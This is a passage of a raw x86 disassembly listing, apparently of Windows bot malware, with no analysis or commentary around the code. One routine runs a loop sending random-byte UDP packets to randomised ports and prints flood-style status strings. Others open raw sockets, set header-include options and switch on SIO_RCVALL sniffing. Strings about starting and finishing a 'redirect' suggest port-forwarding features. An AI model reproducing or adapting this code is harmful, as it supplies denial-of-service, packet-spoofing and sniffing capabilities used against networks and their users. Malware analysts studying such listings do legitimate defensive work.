		mov	edi, [esp+18h]


loc_42870B:				; CODE XREF: ___:0042853Bj
		push	edi
		call	near ptr 71AB9639h
		nop
		mov	eax, [esp+1Ch]
		pop	edi
		pop	esi
		pop	ebp
		lea	eax, [eax+eax*4+5]
		pop	ebx
		shl	eax, 2
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_428810	proc near		; CODE XREF: sub_401DCFj

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		mov	eax, [esp+arg_0]
		push	esi
		push	eax
		call	sub_40188E
		mov	esi, eax
		nop
		call	near ptr 77C371D3h
		and	eax, 800001FFh
		jns	short loc_428831
		dec	eax
		or	eax, 0FFFFFE00h
		inc	eax


loc_428831:				; CODE XREF: sub_428810+18j
		mov	ecx, [esp+4+arg_10]
		mov	edx, [esp+4+arg_C]
		push	ecx
		mov	ecx, [esp+8+arg_8]
		lea	eax, [eax+esi+100h]
		push	edx
		push	ecx
		push	eax
		push	esi
		call	sub_401BC7
sub_428810	endp

; ---------------------------------------------------------------------------
		add	esp, 18h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428880	proc near		; CODE XREF: sub_40178Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428880
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aUdp	; "udp"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F11C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_428880	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4288F0	proc near		; CODE XREF: ___:004014F6j sub_40224Dj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401159
		test	[esp+4+arg_0], 1
		jz	short loc_428908
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428908:				; CODE XREF: sub_4288F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4288F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428920	proc near		; CODE XREF: sub_401159j
		jmp	sub_4014CE
sub_428920	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428940	proc near		; CODE XREF: sub_401A14j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428940
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		push	eax
		mov	eax, [esi+58h]
		lea	edi, [esi+3Bh]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUUtUbDms ; "%s: %s:%u	(%ut/%ub/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 2Ch
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	eax, [esi+58h]
		mov	ecx, [esi+54h]
		mov	edx, [esi+60h]
		push	eax
		mov	eax, [esi+5Ch]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		mov	[esp+44h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_40173A
		add	esp, 14h
		test	eax, eax
		jz	short loc_428A0E
		mov	ecx, [esi+5Ch]
		mov	edx, [esi+58h]
		push	ecx
		push	edx
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+44h+var_24]
		push	offset aSSDDone	; "%s: %s:%d done"
		push	eax
		call	sub_40102D
		add	esp, 18h


loc_428A0E:				; CODE XREF: sub_428940+A2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_428940	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428AB0	proc near		; CODE XREF: sub_40173Aj

var_36		= word ptr -36h
var_18		= byte ptr -18h
var_16		= word ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_FFBC	= dword	ptr  0FFC0h
arg_FFCC	= dword	ptr  0FFD0h
arg_FFDC	= dword	ptr  0FFE0h
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFF0h
		call	sub_437B30
		push	esi
		push	11h
		push	2
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, [esp+10h+arg_FFE4]
		mov	[esp+10h+arg_0], eax
		xor	eax, eax
		push	esi
		mov	[esp+14h+var_C], eax
		mov	word ptr [esp+14h+var_C], 2
		mov	[esp+14h+var_8], eax
		mov	[esp+14h+var_4], eax
		mov	[esp+14h], eax
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428B11
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_428B0A
		pop	esi
		add	esp, 0FFF0h
		retn
; ---------------------------------------------------------------------------


loc_428B0A:				; CODE XREF: sub_428AB0+50j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_428B11:				; CODE XREF: sub_428AB0+45j
		mov	esi, [esp+18h+arg_FFEC]
		push	ebx
		mov	ebx, dword_511AC8
		push	ebp
		test	esi, esi
		mov	[esp+20h+var_10], eax
		push	edi
		jnz	short loc_428B4D
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+28h+var_16], ax
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_428B7E
; ---------------------------------------------------------------------------


loc_428B4D:				; CODE XREF: sub_428AB0+77j
		push	esi
		nop
		call	near ptr 71AB2B66h
		cmp	esi, 1
		mov	[esp+28h+var_16], ax
		jge	short loc_428B6B
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_428B7E
; ---------------------------------------------------------------------------


loc_428B6B:				; CODE XREF: sub_428AB0+ACj
		cmp	esi, 0FFFFh
		jle	short loc_428B7E
		mov	[esp+28h+arg_FFE8], 0FFFFh


loc_428B7E:				; CODE XREF: sub_428AB0+9Bj
					; sub_428AB0+B9j ...
		mov	eax, [esp+28h+arg_FFE4]
		test	eax, eax
		jnz	short loc_428B94
		mov	[esp+28h+arg_FFE4], 1


loc_428B94:				; CODE XREF: sub_428AB0+D7j
		mov	ecx, [esp+28h+arg_FFDC]
		mov	eax, 66666667h
		imul	ecx
		mov	edi, [esp+28h+arg_FFE0]
		xor	esi, esi
		sar	edx, 2
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		test	edi, edi
		mov	ebp, edx
		jle	short loc_428BCE


loc_428BBB:				; CODE XREF: sub_428AB0+11Cj
		call	ebx	; rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, edi
		mov	byte ptr [esp+esi+28h+var_8+3],	dl
		jl	short loc_428BBB


loc_428BCE:				; CODE XREF: sub_428AB0+109j
		mov	edx, ebp
		dec	ebp
		test	edx, edx
		mov	[esp+28h+arg_FFDC], ebp
		jle	loc_428C60
		mov	ebp, dword_511C68


loc_428BE6:				; CODE XREF: sub_428AB0+1AEj
		mov	al, byte_4D84B9
		test	al, al
		jz	short loc_428C60
		mov	esi, 0Bh


loc_428BF4:				; CODE XREF: sub_428AB0+177j
		lea	eax, [esp+28h+var_18]
		push	10h
		push	eax
		push	0
		call	ebx	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	eax, edi
		lea	ecx, [esp+34h+var_4]
		sub	eax, edx
		mov	edx, [esp+34h+var_8]
		push	eax
		push	ecx
		push	edx
		call	ebp	; sendto
		mov	eax, [esp+40h+arg_FFCC]
		push	eax
		call	near ptr 2830000h
		nop
		dec	esi
		jnz	short loc_428BF4
		mov	eax, [esp+44h+arg_FFCC]
		test	eax, eax
		jnz	short loc_428C4B
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	near ptr 71AB2B66h
		nop
		mov	[esp+48h+var_36], ax


loc_428C4B:				; CODE XREF: sub_428AB0+182j
		mov	eax, [esp+48h+arg_FFBC]
		mov	edx, eax
		dec	eax
		test	edx, edx
		mov	[esp+48h+arg_FFBC], eax
		jg	short loc_428BE6


loc_428C60:				; CODE XREF: sub_428AB0+12Aj
					; sub_428AB0+13Dj
		pop	edi
		pop	ebp
		pop	ebx
		mov	eax, 1
		pop	esi
		add	esp, 0FFF0h
		retn
sub_428AB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428CE0	proc near		; CODE XREF: sub_40209Aj

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		mov	ebx, [esp+14h+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+1Ch+arg_0]
		lea	eax, [ebx-14h]
		push	eax
		lea	ecx, [edi+28h]
		push	ecx
		call	sub_401A37
		mov	edx, [edi+10h]
		add	esp, 8
		mov	[edi+0Ah], ax
		mov	[esp+1Ch+var_10], 2
		push	1
		push	0
		push	0
		push	0FFh
		push	3
		push	2
		mov	[esp+34h+var_C], edx
		mov	[esp+34h+arg_4], 1
		nop
		call	near ptr 71AB8769h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_428D3D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_428D3D:				; CODE XREF: sub_428CE0+52j
		lea	eax, [esp+1Ch+arg_4]
		push	4
		push	eax
		push	2
		push	0
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428D5D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_428D5D:				; CODE XREF: sub_428CE0+72j
		lea	ecx, [esp+1Ch+var_10]
		push	10h
		push	ecx
		push	0
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 71AB2C69h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
sub_428CE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428DC0	proc near		; CODE XREF: sub_401DB1j

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_28		= dword	ptr -28h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_10		= word ptr  14h
arg_12		= word ptr  16h
arg_14		= dword	ptr  18h
arg_1C		= byte ptr  20h
arg_24		= byte ptr  28h
arg_25		= byte ptr  29h
arg_B8		= byte ptr  0BCh
arg_C1		= byte ptr  0C5h
arg_C4		= dword	ptr  0C8h
arg_C8		= dword	ptr  0CCh
arg_100C8	= dword	ptr  100CCh
arg_100D8	= dword	ptr  100DCh
arg_10128	= dword	ptr  1012Ch
arg_1012C	= dword	ptr  10130h
arg_10130	= dword	ptr  10134h

		mov	eax, 10128h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [esp+10h+arg_25]
		mov	[esp+10h+arg_24], 0
		rep stosd
		stosw
		mov	eax, [esp+10h+arg_10128]
		push	eax
		call	sub_40188E
		mov	ecx, [esp+14h+arg_1012C]
		mov	[esp+14h+arg_4], eax
		push	ecx
		call	sub_40188E
		mov	edi, [esp+18h+arg_10130]
		add	esp, 8
		xor	ebx, ebx
		mov	[esp+10h+arg_0], eax
		mov	[esp+10h+arg_10], 2
		mov	[esp+10h+arg_12], bx
		mov	[esp+10h+arg_14], ebx
		mov	esi, offset byte_448F30
		mov	eax, edi


loc_428E27:				; CODE XREF: sub_428DC0+85j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428E4B
		test	cl, cl
		jz	short loc_428E47
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428E4B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428E27


loc_428E47:				; CODE XREF: sub_428DC0+71j
		xor	eax, eax
		jmp	short loc_428E50
; ---------------------------------------------------------------------------


loc_428E4B:				; CODE XREF: sub_428DC0+6Dj
					; sub_428DC0+7Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428E50:				; CODE XREF: sub_428DC0+89j
		cmp	eax, ebx
		jnz	short loc_428EA3
		mov	ebp, dword_4D80C7
		cmp	ebp, ebx
		mov	[esp+10h], ebp
		jz	short loc_428E67
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_428EAE


loc_428E67:				; CODE XREF: sub_428DC0+A0j
		lea	eax, [esp+10h+arg_24]
		push	0FFh
		push	eax
		nop
		call	near ptr 71AB50C8h
		lea	ecx, [esp+18h+arg_1C]
		push	ecx
		nop
		call	near ptr 71AB4FD4h
		movsx	ecx, word ptr [eax+0Ah]
		mov	edx, [eax+0Ch]
		mov	eax, ecx
		lea	edi, [esp+1Ch+var_C]
		mov	esi, [edx]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ebp, [esp+1Ch+var_C]
		jmp	short loc_428EAE
; ---------------------------------------------------------------------------


loc_428EA3:				; CODE XREF: sub_428DC0+92j
		push	edi
		call	sub_40188E
		add	esp, 4
		mov	ebp, eax


loc_428EAE:				; CODE XREF: sub_428DC0+A5j
					; sub_428DC0+E1j
		cmp	ebp, ebx
		jz	short loc_428EB7
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_428EBD


loc_428EB7:				; CODE XREF: sub_428DC0+F0j
		mov	ebp, dword_4D80C7


loc_428EBD:				; CODE XREF: sub_428DC0+F5j
		mov	edi, 1
		mov	[esp+10h+arg_14], ebp
		push	edi
		push	ebx
		push	ebx
		push	ebx
		push	3
		push	2
		mov	[esp+28h+arg_8], edi
		nop
		call	near ptr 71AB8769h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_428FFD
		lea	ecx, [esp+28h+var_C]
		push	4
		push	ecx
		push	2
		push	ebx
		push	esi
		call	near ptr 71AB3EA1h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		lea	edx, [esp+3Ch+var_18]
		push	10h
		push	edx
		push	esi
		nop
		call	near ptr 71AB3E00h
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		push	ebx
		lea	eax, [esp+4Ch+var_14]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [esp+5Ch+var_28]
		push	4
		push	ecx
		push	98000001h
		push	esi
		mov	[esp+6Ch+var_28], edi
		nop
		call	near ptr 71AB4489h
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		mov	edx, [esp+6Ch+arg_100D8]
		cmp	byte ptr [edx],	0
		jz	loc_428FE3
		mov	ebx, dword_511CA4


loc_428F53:				; CODE XREF: sub_428DC0+21Dj
		mov	ecx, 3FFFh
		xor	eax, eax
		lea	edi, [esp+6Ch+arg_C8]
		push	0
		rep stosd
		stosw
		stosb
		lea	eax, [esp+70h+arg_C8]
		push	0FFFFh
		push	eax
		push	esi
		call	ebx	; recv
		cmp	[esp+7Ch+arg_C1], 2Fh
		jnz	short loc_428FD3
		mov	ecx, [esp+7Ch+arg_C4]
		mov	edx, [esp+7Ch+var_64]
		cmp	ecx, edx
		jnz	short loc_428FAE
		mov	ecx, [esp+7Ch+var_68]
		lea	edx, [esp+7Ch+arg_B8]
		push	eax
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], ecx
		push	edx
		jmp	short loc_428FCB
; ---------------------------------------------------------------------------


loc_428FAE:				; CODE XREF: sub_428DC0+1CFj
		cmp	ecx, [esp+7Ch+var_68]
		jnz	short loc_428FD3
		push	eax
		lea	eax, [esp+80h+arg_B8]
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], edx
		push	eax


loc_428FCB:				; CODE XREF: sub_428DC0+1ECj
		call	sub_40209A
		add	esp, 8


loc_428FD3:				; CODE XREF: sub_428DC0+1C0j
					; sub_428DC0+1F2j
		mov	ecx, [esp+7Ch+arg_100C8]
		cmp	byte ptr [ecx],	0
		jnz	loc_428F53


loc_428FE3:				; CODE XREF: sub_428DC0+187j
		mov	edx, dword_511A90
		add	edx, 20h
		push	edx
		nop
		call	near ptr 77C3EEF6h
		add	esp, 4
		push	esi
		call	near ptr 71AB9639h
		nop


loc_428FFD:				; CODE XREF: sub_428DC0+11Dj
					; sub_428DC0+137j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10128h
		retn
sub_428DC0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4290B0	proc near		; CODE XREF: sub_401898j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4290B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset off_446EFC
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F12C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4290B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429120	proc near		; CODE XREF: sub_401FA0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+82h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F13C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429120	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4291E0	proc near		; CODE XREF: sub_4017A8j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4291E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F13C
		lea	ecx, [esi+82h]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4291E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4292B0:				; CODE XREF: ___:00401A23j
					; ___:loc_402086j
		push	esi
		mov	esi, ecx
		call	sub_4017A8
		test	byte ptr [esp+8], 1
		jz	short loc_4292C8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4292C8:				; CODE XREF: ___:004292BDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4292E0	proc near		; CODE XREF: ___:00401096j sub_401C3Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4015FF
		test	[esp+4+arg_0], 1
		jz	short loc_4292F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4292F8:				; CODE XREF: sub_4292E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4292E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_429310	proc near		; CODE XREF: sub_4015FFj
		jmp	sub_4017A8
sub_429310	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429330	proc near		; CODE XREF: sub_4015B9j
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+82h]
		lea	ebx, [esi+58h]
		mov	ecx, edi
		lea	ebp, [esi+6Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSStartedRedire ; "[%s] Started redirect	from \"%s\" to \"%s\""...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		mov	edx, [esi+99h]
		add	esp, 24h
		add	edx, 11Ch
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		call	sub_401DB1
		add	esp, 10h
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSFinishedRedir ; "[%s] Finished	redirect from \"%s\" to	\"%s"...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_429330	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429450	proc near		; CODE XREF: sub_401893j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429450
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, ecx
		mov	[esp+2Ch+var_28], esi
		call	sub_401FA0
		lea	ecx, [esi+0A1h]
		mov	[esp+2Ch+var_4], 0
		call	sub_40142E
		push	0
		push	2Ah
		push	2Eh
		push	2Eh
		lea	eax, [esp+3Ch+var_24]
		push	22h
		push	eax
		mov	byte ptr [esp+44h+var_4], 1
		mov	dword ptr [esi], offset	off_43F14C
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+var_4], 2
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4015E1
		lea	ecx, [esp+2Ch+var_24]
		mov	byte ptr [esp+2Ch+var_4], 1
		call	sub_401226
		mov	ecx, [esp+2Ch+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_429450	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429510	proc near		; CODE XREF: ___:00401E2Ej sub_4021D5j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BE5
		test	[esp+4+arg_0], 1
		jz	short loc_429528
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429528:				; CODE XREF: sub_429510+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_429510	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429540	proc near		; CODE XREF: sub_401BE5j
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, dword_511C9C
		mov	eax, [esi+0BFh]
		mov	dword ptr [esi], offset	off_43F14C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42955E
		push	eax
		call	edi	; closesocket


loc_42955E:				; CODE XREF: sub_429540+19j
		mov	eax, [esi+0BBh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42956C
		push	eax
		call	edi	; closesocket


loc_42956C:				; CODE XREF: sub_429540+27j
		lea	ecx, [esi+0A1h]
		call	sub_401226
		mov	ecx, esi
		call	sub_4017A8
		pop	edi
		pop	esi
		retn
sub_429540	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4295B0:				; CODE XREF: ___:loc_401D3Ej
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43CDB2
		push	eax
		mov	eax, 5488h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	ebp, ecx
		or	esi, 0FFFFFFFFh
		push	edi
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+11h], 0
		mov	byte ptr [esp+12h], 0


loc_4295E8:				; CODE XREF: ___:0042A576j
		lea	ecx, [esp+0B8h]
		call	sub_401B4A
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+54A0h], 0
		mov	byte ptr [esp+13h], 0
		call	sub_40142E
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+398h]
		push	104h
		push	eax
		push	ecx
		mov	byte ptr [esp+54B0h], 1
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A600
		lea	edx, [esp+394h]
		lea	ecx, [esp+30h]
		push	edx
		call	sub_401870
		push	offset byte_448F30
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+54A4h], 2
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4296A0
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		jmp	loc_42A570
; ---------------------------------------------------------------------------


loc_4296A0:				; CODE XREF: ___:00429664j
		push	offset asc_444600 ; " "
		lea	eax, [esp+234h]
		push	0
		push	eax
